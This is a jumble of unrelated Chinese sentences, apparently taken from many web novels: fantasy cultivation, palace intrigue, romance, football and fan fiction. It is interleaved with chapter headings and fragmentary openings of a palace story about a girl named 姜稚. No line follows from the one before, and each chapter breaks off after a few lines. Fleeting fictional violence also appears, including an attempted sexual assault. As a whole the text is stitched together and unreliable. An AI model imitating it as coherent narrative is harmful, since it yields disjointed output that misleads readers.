之前他做废品回收,重点还是在家电回收方面。他在推销那些回收的零部件和二手电器时,对电器生产和销售都有一定的了解。
至于一旦最坏的结果发生,这些防御装置究竟会不会对这样一个自己产生作用,安格玛无从知晓。
而那个不知道从哪冒出来的业余棋手,竟能和阿尔法零打了个不相上下。以人类之资,在围棋这个项目上,有了向机器人叫板的实力。
村野里美也喜欢着泉新一,并且比泉新一喜欢的更多,隔着一条长长的街道就笑着给泉新一挥了挥手。甜美动人。
自己去来投资,现在反过来要找自己投资?莫宇有点莫名其妙:唐浩泽如果有好的项目,哪里需要找人投资来着?他就不相信唐浩泽要做的项目是几百亿美元都不够。真是那样的的项目,大概也轮不到他了。
田宫良子是一只寄生兽,但是她与一般的寄生兽不同,田宫良子由于宿主的影响,非常睿智,智商甚至超越了一般的人类,她也是为数不多的一直在思考寄生兽存在的意义的寄生兽。
正是自己在睁开一条眼缝分辨方向时,我才看到一条巨大的白虫在吃力的挪动,当时只看到它白色的身上还有一点红光。
李九成能想到用掩体来对付方云,肯定不会想不到方云会用火炮来轰炸掩体墙,而李九成的应对对策就是直接用人去把缺口堵上。
其实圈子网集团年末晚会,不仅仅是圈子网内部员工关注。就连外面许多人都很关注。
毕竟纲手是“债主”,他态度自然是得好一点,不能借了钱还一副吊炸天的模样。
安景浩说一句冲着一旁的服务员点了点头,跟在江城轩身后钻进了包厢。
用来进行人体实验的第三观察组原本有4o个男孩,但此时浴室里却只剩下23个,过去的一年零九个月里,已经断断续续死掉了17个。
战天野垂下眼帘,轻吁了一口气,转过身,看向窗外,压了压情绪。
要是住在北郊废弃工厂的百里飞需要族里帮助什么,尽量满足之类的。
看到我的分身,雪萝突然哭着朝我的分身冲了过去,一把抱住了我的分身,然后大哭不止起来。
而因为白衣来的急,走的时候也比较急,自然带起了一些空气的波动,这让有所感的顾北墨回过了头,可惜,他什么都没看到。
之前,SP两个字母让她觉得熟悉,可一时想不起在哪里见过。后来觉得是两个很普通的字母,因为常见才觉得有熟悉感,也没细想。
虽然在周老三手下日子不好过,可跟着这两人去只怕下场会更凄惨,她可没那么蠢。
仇重过世已然对九头鸟造成了一定程度的震荡,随后弟兄反目夺权的桥段更是如同泼在热油上的凉水,把本就沸腾的九头鸟集团给溅了个四分五裂。
有了这个判断布冯开始继续实验,将泰格的尸体拆开,细细检查每一处伤口血管的情况,然后将其一一缝好,最后再恢复原状。
襄阳城外一间路边的茶摊里,一名身材高大的男子则坐在里面低头抿着杯中热茶,在他身旁则有兵刃被麻布简单包裹。
当年张无忌被赵敏险境所困,那纯钢铸造的陷阱,打磨得滑不留手,连细缝也没一条,可张无忌仍是凭借壁虎游墙功在瞬息间就爬了上去。
突然,前面传来一阵尖叫声,似乎是有人遇到了恐怖强大的东西。
她都嫁进王家这些年了,吃王家的住王家的,现在还好意思要地。
其天资恐怕还要在其师金轮法王之上,为此吕义对于和他力战而亡的朗玛,也是心存遗憾。
这段时间,日斩的人盯他盯得很紧,如果在这时候和大蛇丸交易,多半会被暗部抓住把柄,所以,不得不慎重考虑。
第一卷 第67章 帝王家的最暖“叔侄”戏
“好了,差不多过一阵子就会醒过来的,到时过来叫我一声!”啸宗说完这句话就出了门。
她抬眸偷瞅了皇上一眼,但见他威严中透着慈爱,就像个父亲一样。
分过来伺候周博的,十五六的样子,是丫头里最清秀的一个。她知道自己的相貌已经是出挑的,再加上自己一向机灵,绝对可以做得管家的二娘子身边的一等丫头的。
现在突然一下又蹦出来一个大圣?还是七大圣里面最出名,实力最强的猴哥?
“哎,太好了,太好了。”娴妃异常兴奋,如今银香身怀龙子,复宠之时指日可待,太后抛给自己的一切难题也随之迎刃而解,这又何尝不是一件大喜事呢。
“是,公子,属下告退。”黑衣人说完,人已如一阵风般消失,房间里的人,思索了片刻后,起身离去。
玉蓉终于将事件的前因后果说了个明白,看着喝的见底的茶杯,玉蓉艰难的咽下一口唾沫,不等景丹帮忙续水,又自顾自的倒了一杯茶水再次牛饮几口,眸子还有些拘谨的偷瞄银雪,观察其对自己失仪的行为是否会有不满。
“喔?!说说看,看我是否能知晓一二?”子云也是感觉对方有什么难言之隐,不然这样请他过来又是喝酒又是送东西的,没事才怪。难道是无聊想交个朋友?
每一个通过考核的术师都可以组建一个四到五人团队一起进入圣雀殿接受新一轮的考验,再次通过考核后就正式成为圣雀殿的成员。
他是蔡建明的干儿子,也是知晓阴阳界里面的人,想要对付普通人,简直是再简单不过的事情了。
除了自己以外,苍狼帝国一百多个城主,连一个是炼神境七阶的都没有。而雁山帝后的轿夫居然都是炼神境七阶,这得是多强的实力才能做到?
这夜,林香草翻来覆去都睡不着,脑海里,不断的浮现了今日在珍宝斋外头遇到赵九重的场景,连着他自己也不知道,她到底是犯了什么魔怔。
徐百川只好先告辞离开,段无痕既然这样说,也只能回去等他消息。
“师父,我要定制五十件铁制盾牌,你这里能打出来么?”秦翼明瞧着这铺子挺大,于是开口问道。
其实他知道,他家晗汐找他干架的目的,无非就是想看看她的极限在哪里嘛?
狡猾的张献忠知道官兵的企图后,立刻转头回到河南,此时张献忠正在河南南阳城外,准备伺机攻取南阳城,南阳岌岌可危。
“你既然知道我在奥莱斯大人心目中的地位,就没想过杀了我你也活不成么?”沈七夜咂嘴道。
参谋长痛苦的闭上了双眼,双拳紧紧的握着手中青筋不断的隆起,心中怒气不断燃烧。
白浪这次回归‘莲花池’,除了委婉的暗示大蛇丸要有点B数,捞够本该飞升就圆润的离开外。
原来,当年陈汐死后,一直牵挂着哥哥陈瑜桦,魂魄散尽,却有一点意识残留。
一个闪身来到云山面前,把手中的符纸贴在云山眉心,接着,夏侯单手结印,又口念咒语。
降落到地面后,出现在眼前的是一座巨大的深渊,将一块儿碎石踢下,半天听不见回声。
奇怪的词语,落入罗东耳中的时候,就像是在心底唤起了一连串古老的声音,在他的脑海中吟唱。
然后在旁边将老姜切碎,放进锅里,又放入适量红糖,然后等待水开。
好在,也许是罗东的缘故,那恐怖的火焰,没有再灼烧她的灵魂,一边庆幸那可怕的痛苦终于消散,另一方面有感到无比的屈辱。
唐雪惊恐极了。眼泪不断的涌出,心里充满了崩溃和无助。她身上的衣服正在被疯狂的撕扯着。这时的唐雪忽然不再害怕,只是恶毒的盯着面前这个丑陋的男人。她要记住这个家伙,即使做鬼也不会放过他。
值得一提,成了傲来洞天的主人,掌握了仙府中的一切,夏侯也拿出了一些好东西发红包。
“是的,问公子,这就是您的住处,殿中有空房间,您随便找一间便可。当然,里面还有其他势力的人,还请问公子与他们和平相处,这也是陛下的希望。”侍者说完这话,直接告退,回去回禀皇帝。
想想一咬牙,干脆抓紧时间跑去这里的珍宝楼问问。左右距离那边下次可以传送过来,还有一段时间。如果抓紧一点,多少可以打听出一点消息。
傅怀安动作的每一个细节都被林暖的瞳仁放大,她看到了那个一向冷静从容处变不惊地男人手指在轻微颤抖。
丁宁和王磊见张泽也会加入,脸上都露出喜悦的神色,毕竟,光靠他们自己,和陈家庞大的势力对抗,结果确实难以预料,但张泽的加入会让他们的胜算变得很大。
“不好意思!呼延若兰!我欧阳然帮不了你了……”欧阳然的心神对自己如此说着,可和呼延若兰过往嬉笑怒骂的场景却如同幻灯片一般在脑海中显现,让他无法就这样放弃,在这一刻,或许只有爱让人如此痴迷,难以放手。
可惜,两人不仅没有撞破结界,还把自己撞了个鼻青脸肿,反弹了回来,恢复人形。
不过也是他们自己咎由自取,谁让他们想仗势欺人来着,林娇姌可不会为他们感到可怜。
萧哲可是他们好不容易才拉拢过来的,若是因为他把人给得罪了,即使他是大长老,叶行也要废了他。
听见了阿水的声音,无尘、江枫渔、唐天娇均是大喜,无烟居士也是心中一动,又喜又忧,但不知是喜多于忧,还是忧多于喜。
男人瘦弱的像个骨头架子,面色惨白,像是得了什么病。他的眉眼生的过于阴柔,好似一个姑娘家所扮。头发凌乱,身上的衣服也尽是补丁。看上去不似土匪,倒似乞丐。
第一卷 第68章 十三皇叔,我来守护!
姜稚回到座位时,注意到窦贵妃脸上笑容未变,只是眼神冷了几分。
而那位王尚书也是若有所思的看了她一眼,随即又看了看姜寒川,不知在盘算什么。
卢仁斌身后数米之外,隐藏于林荫处的姬皓在旁观许久后,自然明白了这场战斗因何而起。
“诸位,从这气运宝塔当中,我们便可窥探其一二,云儿,来,让众位大使看看!”木灵真人挥了挥手。
“我们现在缺少人手,实力也不够,需要妖兽们的帮助。我愿意与它们并肩作战,彼此信任!”君无念首先表明了自己的态度。
天佑当机立断,扭过身子,开启防御,利用怪物的大力将自己的身体一下子送到了远处。
随后,在得知凰鸣国跟东晋根本就没有打起来,凰鸣国新皇,跟东晋新皇,还在战场上当场就合好了,气得差点没吐血。
再往前,已经能够听到几分流水的声音了,绕过一个弯就能看到巨大的河流横贯落日森林向东方流去。
他看向了前方停滞在原地的大量修士,这些人,是沙皇界内最后一批没有离去的,也没有死去的人。
八族都行动起来,战败的三族依旧想要在天城找回自己的场子,而另外五族则加大了对各大城市的渗透。
听着兰笙报的课程,君无念明白兰笙的血脉之力一定对兰笙造成了一定的影响,产生了一些变化,而她自己却有些迷茫。
灵识燃烧的痛苦使得蔺吴面色异常扭曲,塔楼之内姬皓见得血色长剑之上更为妖艳的红芒,双眸之中反而泛起几分镇定。
圣祖山脉因何而得名早已经没有人可以说的清楚,这片位于荧惑星域偏远地区的山脉,自亘古时代便安安静静地耸立于此。
周围都是一片火红的世界,出了无尽的岩浆,还是岩浆,苏余的灵魂感知都收到了极大的制约,更别说看清远处的环境了。
江狂怕萧宸烈会找他算帐,跟萧嬑宁说了一声之后,就直接回他家了,也不敢跟着萧嬑宁回四合院。
辛十取过汤匙,舀了不少,眼看就要到凤舞的碗了,却不料,手一抖,全掉了。
这里每一个神通境都是彼此熟悉,认识的,若是毫无征兆蹦出来七个陌生神通境,会被外界怀疑的。
“不用担心,老公身上保命的东西多,而且老公的实力也不弱”凤千幻话音刚落,玲珑塔就出现了震动,在凤千幻的感应中,整个玲珑塔好像苏醒了过来。
就如同现在的高飞鹏一样,太子妃点名的幸运,就这么降临到了他的身上。
继续向着墓穴深处望去,却见一座巍峨无比的古城耸立在茫茫天地间。那座古城异常的奇特,并非坐落在大地上,而是安静的漂浮在空中。
虽然没有教皇殿出于闹市当中,但警戒也是极为地森严,尤其是神山这下的斗罗殿。
“幸亏内奸不可能在船上,否则,三号计划的实施也困难。毕竟有一双眼睛在你的身边。”九号说。
星期五,格兰芬多学院与斯莱特林学院的新生们要一起上两节魔药课。
格兰芬多的学生们个个欣喜若狂,在长桌旁跳上跳下,喧闹声简直震耳欲聋。
第一卷 第69章 姜稚“童言”逆转朝局
仅仅只是军靴践踏的声音,便让人热血沸腾,带着紫外线防护设备的吸血鬼大队握着手中的武器在前行。
一晃又是两个时辰过去了。庄项忽然从太师椅上站起,仰头望向了头顶的天空。所有的人也不自觉的跟随他的目光向上望去。视野所及之处,一大片的白云之中忽然渐渐出现了一个蓝黑色的暗影。
这两个家伙的处事风格,你别说,还真是一模一样的,那种似敌似友的感觉总是让白雨觉得阵阵的无奈。
不要将青阳门当成那种鼓励门下弟子互相内斗、自相残杀的门派,没有一个正常门派会鼓励这种行为的。
踏着夕阳的余光,上官宛满载而归,除了草药,她还采摘了不少野果子野菜,甚至还猎了只兔子,准备晚上回去红烧。
那段时间,夜辰每晚都要折腾她好几回,真要是有了孩子,也不奇怪。
目送着戴维斯·蒙森将军的背影渐远,高峰原地踌躇了片刻,淡淡摇头,待听到实验室里的动静后,转身离开。
一声刺耳的金铁交鸣,王权剑与银箍碰撞,迸发出火花,之后,王权剑便悲鸣一声,光华黯淡了。
很多人不说,但是内心都像是燃烧着一团火,这就是豪门给人的荣誉感。
但转念一想,这两人连孩子都有了,每晚在一起似乎也没什么好奇怪的。
报仇的时间,才会尽量的缩短,他李家的那些祖宗,还在被战魂家族的人折磨呢。
清岩确实有些激动,目光闪闪,身形微微颤动着,护体神光也是一样,光彩闪动,颇为散乱,心神乱,气息则乱,这正是天心教主所要的,黑红交错的诡异光华是乘虚而入,向着清岩逼近,再逼近。
她的战甲,好像要被她苍劲的肌肉给撑爆了似的,不过她的脸蛋,却是绝色之姿。
叶枫万万没有想到,自己苦心修炼多日余却未始终无法修出的精神领域,却在精神极度振奋的时刻,自然释放了出来。
所谓言多必失,这虬须壮汉便为自己的多嘴付出了代价。府主有命,不得不从,他愁眉苦脸地看了叶枫等人一眼,极为不情愿地登上了擂台。
“猿兄,这次就多谢你了。”这一次如果不是通眼火猿的帮忙,夏凡尘早就毙命。通眼火猿为了付出了这么多,也值得夏凡尘一声兄弟。
骚灵三姐妹明白,帝督看她们的眼中透露出类似的警告,那眼中的寒意令她们三人忍不住打起了寒颤。
“好了,别特么的废话了,赶紧回家,今儿倒霉事的确太多了!”段明玉怒骂击溃大狗之后,心有余悸的道。
“这就是了,除了他,谁也不好拉弓拉得这么上瘾!”李建成摇头,笑叹。命令仆人不要通禀,径自带了两个朋友闯了进去。
“弘基兄希望我赢?”李旭眼睛瞪大了几分,在心中惊问。到人家做客却掀了主人的场子,在他生长的易县,可没有这种做客的规矩。但是故意射输,自己和刘弘基就成了李家私兵,此番代价也忒地大。
乌鸦停止了他那有些狰狞的微笑,眼眶内部的两团灵魂火焰微微闪烁,似乎是在思考,在衡量。
悠悠睁眼,温容稍微一动,身上便一阵酸痛,温容躺下缓了一会儿,想起昨夜发生的事情。
秦风把这些武器给那些考生之后,就又回到了自己创办的学堂当中,开始忙着出题的事情。
说不定之后的某天,因为他这个稳当的举动,就避免了一系列的麻烦呢。
“不就是竞争么,我才不会害怕呢!”莎莉语气显得异常坚定,让一旁的莫妮卡都不由微微失神。
想到这些年晋王和大皇子争夺储君之位,一度压的大皇子喘不过气来,要皇上真立晋王为太子了,那列祖列宗打下来的江山岂不是轻而易举就被人给夺了去,光是想想,元公公都后背发麻了。
清灵行动接近结束,很多人都回西边城了,还有一些人在集合点附近,赖雄就是在集合点附近的一人。
陈羽凡只是收到了消息,自然拿不出来,正为难如何开口,突然绿色衣袍弟子御剑飞来。
姜宁稍稍认真一想,如果价格合适其实还省事了,不用她天天被人误会。
听着电话那头渡边悠有些生硬的发言,雨宫绫奈脸上的笑容愈发灿烂了起来。
而在美国落基山脉战争如火如荼进行的时候,过来支援的霍格沃茨浮空城也已经开入了美国境内,不过这些战事战况都影响不了浮空城上巫师们的正常生活起居——就连经纬度变化后的天气都被魔法调整的让人分不出来区别。
于他们而言,他们只需要知道自己现在没有被铁弹击中、身边的同袍伙伴没有被学血淋淋地被击杀就好。
包宝点点头:“师父放心,这些我都晓得,我教给牛展他们的菜式也都是些普通菜式,就算传出去也没什么大不了的。
“中计了!”另外两人心知不妙,瞪眼瞧去,囚车内哪有他们心心念着的“四哥”,分明是个黑瘦汉子,脸上带着奸计得逞的狞笑。
自己倒还无所谓,但要是让老妈误会什么,那就有些尴尬了,赵国阳心中不由得有些忐忑了。
也就是说,郑君乙现在想要卖国,也不可以卖,如果不需要买而直接就能抢到,那凭什么要买卖呢?
松江市机工委的二楼会议室,椭圆形的桌子周围,三三两两坐了一圈人。
修行者皆有一道原初光影。这道原初光影代表着修行者特有的属性,是与神魂一道,决定修行者自我的关键。
第一卷 第70章 夕阳下的托付
宴席继续,但气氛已经完全不同。
丝竹声依旧,每个人的心思却都已不在宴饮之上。
姜稚回到座位,感到后背已经被冷汗浸湿。
瓦尔迪点头答应了,反正这又不是那种不可描述的派对,你愿意,当然没问题,你不愿意,也没人勉强你。
第4分钟,C罗就用一脚势大力沉的射门考验了本菲卡的门将,也让看台上的本菲卡球迷惊出了一身的冷汗。
腰上使力让自己坐住,伸手到腰上摸了一把,只有一点点血印,还好,可能蹭破了一点皮,这才后怕起来,生了一身冷汗。
这两个‘阴’阳怪气的声音一出,在场的乡亲们一下子静了下来,一个个的心里都泛起了嘀咕。
大家围成几堆嗡嗡的说笑,王老师拿着一撂本子走进来,把东西放到讲台上,也没管大伙的热闹,还走下来走到大昌桌边上听他们说话,笑呵呵的。
这时候,赵家请来的执事刚刚给看热闹闹‘花’轿的人撒过了一把的糖,有了这一把的开路喜糖,那些人才满意的往后退了退,给新人的‘花’轿腾出了一块落轿的空地方来。
萧峰缓缓走上比斗台,那是这座超大平台分出的一块区域。这块区域靠近边缘,一面划着线,另外三面都是凌空。除了认输,飞出这块区域,也算输。
石子毅如今是伪婴境,梁萱金丹末期,田魏然、池飞和林清岚则是金丹后期。
李锐听到秦熔示警后迅速爬上了一棵大树,看着这一幕笑了,佣兵也是人,不希望自己死后没人管,伤了没人治,所以兔死狐悲,顾念情分带回了伤员和骨灰,希望有一天自己死后、伤后也能得到同样的对待。
卖菜的可没有行人这么悠闲,虽然天转暖了,但是要在外边站一天还是挺不容易的,一样冻的想死,而且因为天气转暖,感冒的机率大大增加,张兴明就看到好几个卖东西的不停的甩着鼻涕,鼻子揪的都红了。
她的脸上一直带着淡然的微笑,似乎没有什么异样的情绪。但是越往外走,她的眼睛就渐渐地湿润了,一滴滴泪水缓缓地流了下来。
果不出蚁测,高欢此次攻打玉壁,东魏大军困城近三月,用尽攻城之法,伤亡五万,玉壁城依旧岿然不动!高欢无奈,恸哭流泪,罢兵东归,回至邺城不足两月,羞愤难忍,一病不起,竟命休矣。
这新房动土在偏远的乡镇,是很有讲究的。首先要选择一个吉日。邀请亲朋好友。简单的就放一些鞭炮,驱魅除邪。讲究的就要请法师做一个仪式,接着再开始剪彩动土。
老翁率徒弟立于领头船上,对艄公大叫:“速划!否则欲失良机!众速随之!”艄公闻罢,顿抬膊,用力摇桨,船似箭般向彩虹疾驶,后三匪首率众匪船亦不甘示弱,紧随其后而来。众匪皆仰望,望西天七色彩虹,速而行之。
雷军她是不敢质问,谁叫雷军是队长,是她的上司。医生,她是不敢惹,蝎子太冷,半天说不出一句话,所以哪咤就倒霉了。
估计,自打他们宋家建造起“警示之音”以来,这警示之音就没有因为它存在的真正目的而响起过吧。这对宋家来说是一种幸福,同样,也是一种悲哀。
第一卷 第71章 慧极必伤,守拙为安
三日后,腊月十八。
姜寒川离京,重返北疆。
这样下去可不行,楼层虽大,迟早会有尽头,到了那个时候,再要往哪里躲?
当万付等人转来时,救回的竟是一位毛发卷曲,皮肤奇黑的黑人,水手们从有见过黑种人,都好奇地跑来观看。此时,惊动了仓的赵琛、晓生等人,出来见船上多了一位黑人,各是一怔。
静心心里也是很高兴的,毕竟这些弟子都很给自己争气,不好意思的抓了下自己秃顶的脑瓜。
因此,尽管入门仪式离奇古怪。陈依并不敢无视月门分部组长,即使已经退役,能够拥有一级战士的级别最少就经历过一千场战斗胜利的评测。而三级分部门查的职衔更说明他曾经至少领导战斗取胜超过三百次。
“不是!我喜欢她们一不是因为上过床!”张鹏矢口否认,很痛苦的抱着头。
而顾雁歌……皇帝所有的宠爱,其实都是为了找到萤吧,恪亲王说到底是……到时候,只怕顾雁歌也会活得很艰难。忱王这么一想,觉得有必要赶紧回信去提醒自家老爷子,便向顾雁歌告辞。
容琦捏着袖子里那张佐罗面具,抬起头,隔着那幕离看二少,看了好半天,想看出一些什么端倪来。
东临家的血。难道是驸马?长公主容琦得到那块石头之后,最大的举动就是朝堂之上公然索要临奕做驸马,难道是因为她知道了临奕是东临家的人?
顾雁歌抬脚进去,院子里还开着耐寒的花朵,各色各样入眼而来,恪王妃爱花,这满院子的花都是恪亲王闲时种下的。这些年一直细心养护着,一直还开得这么灿烂,顾雁歌站在树下,淡淡的香气扑鼻而来。
此时此刻,眼中的柳芽似乎升级为了心中的柳芽,在云牧心目中的江湖地位唰唰唰上升了好几个档次。
王少磊则摇头,说,正因为如此,唐副市长就看到了希望,他在政府排位是在伊副市长后面,但也是市委常委,只要把伊副市长挤下去,市长的位置便非他莫属了,所以,他正在暗中上下活动,大有取代伊副市长的架势。
坐在一座云朵天宫之中,墨峰就像是失去了灵魂一样,一连十几天的时间他就这么傻傻的坐在那里,除了吃喝拉撒之外他从不走出这宫殿一步。
古铁不断吃虫子,一直吃到打饱嗝才停下,脸上露出满意的笑容。
“额……那算了。套装你就给个价吧,不过你个猥琐男不准坑我。以后如果有盗贼好的装备,你们用不到的通知我一声。”姜风笑骂一句。
想到这里,赵永丰的心就有些不平静了,以前他一直以为顾明忠是有后台,但是,这个后台并不给力,要不然顾明忠到了楚明市之后,那么长的时间了也没有得到助力。
“好啦,我现在要出去了。”何惜梅凑过来在郑奇脸上亲了一下,然后拿起了套在头上的黑色软帽,随后郑奇帮她把头盔装了上去,她的一张脸也消失在了郑奇面前。
第一卷 第72章 稚儿京中祈福,皇叔雪夜破局
北疆的腊月,是淬炼刀锋的熔炉,也是掩埋真相的冰窟。
龙渊军大营深处,中军帐内炭火噼啪作响,却驱不散渗入骨髓的寒意。
“灯光太亮了,会刺眼啦,再说了,本医生给病人探病,从不用灯光辅助。”叶修微笑应道。
好人喘着大气,慢慢的解开被封好的麻袋,一个个嫩稚的面孔出现在麻袋里。
符咒师系统已经绑定,当前等级:二级,升级需要一百枚黄晶,只吸收黄晶。
“公台说的的确有理,对于这刘岱的确不得不防,不过该在哪里安排兵力对防止刘岱背后偷袭呢?”曹操接着问道。
雷霆之怒再度出手,漫天的雷光涌动,铺天盖地的雷网出现,就是瞬间锁定了两人,恐怖的雷电从天而降,就是朝着两人不断的轰杀而来。
阿桃听着自家公子的话,疾步如飞地把马牵了过来,由于这匹瘦马的身上的味道实在是一言难尽,众人要求让阿桃牵着马走在身后。
清晨的气息将要来临,一些的繁忙也都起于朝露,在邵武城的城外,曹操很早就集结了十万大军。
在这个时候不断的会有普通的战士被挤出防御罩子,然后被这些丧尸冲上来吃掉,他们没有了子弹那就是弱鸡一样的存在,哪里是这些丧尸的对手。
在地府之中,除非是从外形上一眼就能看出那种耄耋老者形象的,剩下后辈对前辈的喊什么“哥”“姐”之类的准没错。
只是,谁也没想到,刚刚从人才市场出来的他们,就听到了这样的消息。
她不知有何机遇,在后世成为了幽都之主,首先取代陈秋上成为家主,后吞并另外两大家主吗,最后和鬼门合并,成为割据一方的势力。
她一说要收拾房间,他想起自己的房间确实有点乱,不太适合见人,所以才有些着急的拉住她。
苏青柠看到李胜男那露出的大片雪白,只能咬着牙,答应夜如松的要求。
叶枫思索了一下,也决定看在方敏的面子上,跟林胜奇他们去吃一顿饭。
不过,陈杰的鞭腿组合连击,同样无法对哈里-巴拿马构成威胁,只能阻挡对方靠近。
陈杰以截腿进行力量反震,借力打力,再次拉开与宫本武藏之间的距离。
苏青带着她们两个去游乐园玩了一会,又来到了一家商场,准备帮她们买两件衣服当礼物。
更有意思的是,虽说在炸掉阴魔后,雷暴便已力竭,火焰也都散去,而尖锐之物更是倏地不知消失到哪里去了,但每一堆碎肉上,都仍旧有雷火燃烧,发出「嗞嗞」的响声。
不提何家几房之间的矛盾,单单就何家不能融入国内某些市场,就足以成为何家未来致命的一点。
得到了玄阳子的命令,鬼王骑将开始反击了,板斧用力一磕,左将军手中的关刀就飞了出去,飞出了七八米插在了地上。
大甜甜不愧是大甜甜,在外人面前装得似模似样的,跟黄美琴问了声好,老老实实的坐在旁边安静的观察着。
且说,瑶池之中,昊天刚刚前往凌霄宝殿与一些仙神商议神职一事。
石慧:……八十岁的老者,若非修士,怕是行将就木了。夙绫在福利院真的能够等到她的姑婆吗?
第一卷 第73章 爹爹跟“稚川”难道是同一人?
雍王府,听雪阁。
这是姜稚及笄后,姜肃特意为她整理出的独立书房。
房间通透,南窗临湖,冬日可赏雪,夏日可观荷。
此刻,午后的阳光透过琉璃窗,在紫檀木书案上投下斑斓的光影。
不知从何时开始,病美人孙茹,柔软的香舌生涩的防备,调换成若即若离的档次。
没喝过这款酒,也听过这款酒的名字,尼玛一瓶酒就是几千上万块!中年胖子当场就愣住了。
“南宫,到底是怎么回事?”紫薇神主虽然也在关心异魔的情况,但因为有南宫平这个变态的男人在身边,自然就用不着她多去劳心了,但现在一见南宫平感叹,她也有些担心了。
齐珏莹尖叫起来,像一头疯狂的幼兽,狂蹬着不让前面的男人靠近,然后试图挣开绳子,往后甩手去打后面的男子。
难道她是故意的?为何这三道试题,似乎都是为我量身订做的呢?他心中暗暗疑惑。
“孽畜!”段河东也怒了,刚才要不是这六头火岩蟒的偷袭,此时自己已经离开这片范围了;而现在,这头孽畜又明显是冲着自己而来,这让段河东如何不怒?
不过江维才刚刚迈开脚步,便有一道鬼影从他前方的叉口冒了出来。
“南宫,你说的这种可能性不是没有,但这次灭了他的大军,再组建大军的可能性并不大,又有多少人是真的不怕死的”风岚说道。
“嘻嘻,让你个sè狼想使坏,允儿这肠胃坏的真是时候。”西卡有些幸灾乐祸的说着。
“这。。。这不可能!你的寒气力量怎么可能比我的还要强大?”中年男子惊骇的看着聂天行问道。
苏软妹也是被众臣捧得飘飘然,她直接就抬手让方世遗起来回话,并免了他的言语之失。
上次他回去后就发烧、发热,她就在猜测是否是他路上走得太急,出了汗,没有处置导致的。在这古代高烧是可以杀人的。
显然姬云哲做这些准备,不是一日两日里,可能自他还没进到侯府里坐上这个世子之位的时候,他就开始在暗里紧紧盯住了姬尚昌和大夫人的一举一动了。
南雪有些愕然地看了东明一眼,二人很有默契地一起退下,顺手掩上了厢房的门。
不过,苏玉娜倒是有点怀疑,你说让太阳照常从东边升起就升起,你说让月亮重新回到地球身边就回到身边?
对他而言,又何尝不是呢,因为雅雅,他的怪症好了,也促成了他和她的今天。有的孩子天生是来报恩的,雅雅就是那样的孩子。
“你没有答应他吧?”洛曼溪抓着厉子漠的衬衣袖子,正好摸到了他袖扣,是两枚碧绿碧绿的翡翠,格外看了两眼。
一下子看到四位美人,其中一位还是堪比金陵城第一花魁的柳诗诗,自然是对百花楼未来的前景非常看好。
祖龙山,白象龙看着天机楼公布出来的这则消息,不禁一阵心有余悸。
这几个字已经很明确证明了叶子柒的清白,然而,薛青怎么可能会承认。
此刻,一路杀戮普通乡民,抵达临潼县东的零口镇,看着眼前四处追杀毫无反抗能力的零星乡民,两兄弟正在发生争执着。
第一卷 第74章 王尚书激情开炮,小公主头脑风暴
紫宸殿早朝,气氛肃杀。
随着黄一飞的同意,休息室的大门被打开后涌进来一大批记者,闪光灯开始闪烁个不停。
一瞬间,一圈圈的黑雾从地上升起,瞬间包裹住人头狮身蝎尾兽巨大的身躯,仿佛燃烧着漆黑的火焰。
没想到的是洪涛这句顺口而出的话还倒勾起了钱叔的伤心事儿,说得还挺动情,最高潮的时候都有用手背抹眼角的动作了。但洪涛看清了,根本没眼泪。
陈凡的字典里从来就没有“放弃”一词,他在踉跄之中迅速调整重心,向着足球狂奔。
马六甲海峡的重要性不需要说的了,只要稍微有点军事政治眼光的人都知道这对我们国家有多重要。我们国家的海外贸易,绝大部分要通过这里。
哪怕是天道九阶的‘至皇境’大强者闯入‘生命长河’中的任何一个世界,都要在那里摸索一生一世,再想出来没有可能,除非他能洞穿‘生命长河’的本源法则。
国米球迷脸色涨红,仿佛被人狠狠的打了一巴掌,他们面前的队旗依然还是飘荡,几秒钟之前,他们向陈凡发出了巨大的嘘声。
“你不是咏春的人,你是打拳击的轰炸机飞!”这个韩国学员大喊了一声。
这也将迫使王室加强此间防御,让各方面的升格都显得顺理成章。甚至……源晶家都有了将某些重点设施连升两级的野望。那可真是大城市的规格了。
修挤到前面,摸了摸罗丽的头发,说:“吓死我了。找到就好了。”奇和大家都冲她欣慰地笑着。
虽然没有见过真神,但是作为仙灵大陆有史以来能够排得上名次的天才,苏妙语自然清楚,神祇意味着什么,神祇的意念,代表了什么。
一切来的那么突然,船舱里面只是骚乱了一会,就逐渐安静了下来,因为大家都知道接下来会发生什么事。
尽管无双很是不解,但她却并不心急,带着人守在绿芜苑的不远处,等着云瑶从里面出来。
大家都很悲伤,一向感情外露的猿大姐和几个象族雌性哭作一团。象族人更是哭成了一片。巫恒向瑞和鹰鸣点头示意,瑞适时的拿出了三罐秘药。
"陛下在这件事上定不会让晋王独断专权,只要我等能控制情势,晋王自然也会损失掉一些人。"初丞相微微点头,这件事的利害晋王怎么可能不知道?
众人纷纷表示赞同,并且即日起,昙萝身边必须有两位夫侍陪伴监督。
凌剪瞳一袭白衣,起身,绕过长廊,便走进了已经布置成灵堂的大厅,慕惊鸿和司徒千辰各跪在一侧,而叶正白的棺材就放置在最中央的位置。
"这是!"雨翩翩和谢之睁大了眼睛,那妖兽看到雨翩翩,立刻挪到浮云暖身后,脖子一伸,用脸贴着浮云暖的脸,浮云暖拍了拍妖兽的脸,以示安慰。
慕惊鸿已经意识到,这或许就是七星斗橱设下的一个套,这下慕蓁该不依不饶了,司徒千辰又是烈性子,要是慕蓁逼急了他,或许,他真能干出杀了慕蓁的事情,那可就真的没有挽回的余地了。
第一卷 第75章 徐州雪,匈奴脸,货箱谜
腊月二十八,戌时三刻。
书房内的烛火被窗缝钻入的寒风吹得摇曳不定,在墙面上投下晃动的光影。
姜稚刚放下手中的《盐铁论》,正提笔在宣纸上勾勒北疆至京城的几条主要商路。
朱砂笔尖在舆图上蜿蜒出细密的红线。
“狼!倾!城!”苏熙月从牙缝里挤出了他的名字,如果他不是受了伤,她真想打他一顿。
输了落得个阶下囚的下场,别说一起吃饭了,就是能吃顿饱饭都困难。
可是当时听到穆扬这家伙竟然私自回国了,气不打一处来,让自己白担心了。
“你……你是谁……”她无助的在白色荒漠中转着,迷茫的神色让人不由自主的怜惜。
如今朝庭中分为两派人,忠心耿耿效忠皇上的,和左相预谋谋权篡位的。
只是她不知道是一双猩红、邪恶的眼睛已经注意到她许久了,在沈乔安路过一堆人高的草丛时,草丛内突然传出一个高大的身影向她扑来。
亚特尘希打开所罗门,在天使的怒目之下一扬手,无数的黄沙漫天化作盾牌抵挡追杀的天使。
苏逸苒看着穆老爷子,这老爷子绝对是人精,不然的话也不会混成这样。
若问谁最有可能,她会肯定没有谁会比费罗更有优势去实现最后一种可能了。
